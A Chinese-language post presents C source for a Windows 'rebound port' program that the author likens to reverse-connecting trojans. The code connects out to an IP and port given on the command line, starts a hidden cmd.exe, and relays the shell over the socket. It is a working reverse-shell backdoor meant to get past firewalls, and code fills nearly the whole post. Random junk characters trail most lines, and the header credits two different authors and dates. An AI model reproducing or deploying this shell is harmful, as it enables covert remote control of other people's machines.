这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 boCi*]
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/* ============================== y\uBVa<B
Rebound port in Windows NT K> 4w
By wind,2006/7 +ctU7
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===============================*/ ) 3"!Q+
#include X<. l(9$
#include $0K@=7ms
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#pragma comment(lib,"wsock32.lib") . )+c01
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void OutputShell(); 0SWqC@AR%
SOCKET sClient; G/FDD{y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Iox )-
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void main(int argc,char **argv) `JDZR:bMaT
{ Kr'? h'F
WSADATA stWsaData; %Vltc4QU
int nRet; Yq51+\d
SOCKADDR_IN stSaiClient,stSaiServer; i.7_ i78\"
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if(argc != 3) &+@`Si=
{ 1goRO
printf("Useage:\n\rRebound DestIP DestPort\n"); H[nBNz)C
return; z9OpMA
} %z1^
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WSAStartup(MAKEWORD(2,2),&stWsaData); p&V64L:V
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [jlum>K
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stSaiClient.sin_family = AF_INET; "P@ SR`v#
stSaiClient.sin_port = htons(0); w0Nm.=I-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bo90;7EK8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2[3t7 C
{ >itabG-&
printf("Bind Socket Failed!\n"); zI,Qc60B
return; 13Z,;YW
} HyWR&0J
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stSaiServer.sin_family = AF_INET; <`=Kt[_BQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); VVAc bAGJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HBvyX`-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QN$s%&O
{ <'$>&^!^
printf("Connect Error!"); 7]1a3Jk
return; y;fF|t<y
} F1_,V?
OutputShell(); i.W*Go+
} h9imS\gfr
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void OutputShell() }riM-
{ G%l')e)9Gq
char szBuff[1024]; j7Y7&x"
SECURITY_ATTRIBUTES stSecurityAttributes; )4qspy3
OSVERSIONINFO stOsversionInfo; S .x>w/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %JiF269
STARTUPINFO stStartupInfo; CP;<B1
char *szShell; ]o"E4Vht
PROCESS_INFORMATION stProcessInformation; X[tB ^`
unsigned long lBytesRead; #[x*0K-h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G8__6v~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DMsqTB`
stSecurityAttributes.lpSecurityDescriptor = 0; !e<2o2~.
stSecurityAttributes.bInheritHandle = TRUE; z8"1*V
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {*hvzS{1d
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e~(e&4pb
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [o(!/38"@=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D=3Z] 'A
stStartupInfo.wShowWindow = SW_HIDE; z7:*
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stStartupInfo.hStdInput = hReadPipe; |y0k}ed
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tw<Oy^i
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GetVersionEx(&stOsversionInfo); O%>*=h`P
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switch(stOsversionInfo.dwPlatformId) Z8ivw\|M8
{ Z?=o(hkd
case 1: =8tK]lb
szShell = "command.com"; 286reeN/e
break; Qb)c>r
default: :NWIUN
szShell = "cmd.exe"; .5s58Hcg,
break; D]"W|.6@
} Da8gOZ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CP2wg .
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send(sClient,szMsg,77,0); 4OJD_
while(1) M6Xzyt|
{ 6QT&{|q=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }ff^^7_
if(lBytesRead) >jmHe^rH
{ LVdR,'lS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mejNa(D ^
send(sClient,szBuff,lBytesRead,0); ~4Fz A,,
} wL:7G
else m='}t \=
{ ']\SX*z?
lBytesRead=recv(sClient,szBuff,1024,0); 0',buJncV
if(lBytesRead<=0) break; "?aI
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g)$KN,gGuO
} cU ?F D
} (X\]! 'A
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return; x;bA\b
}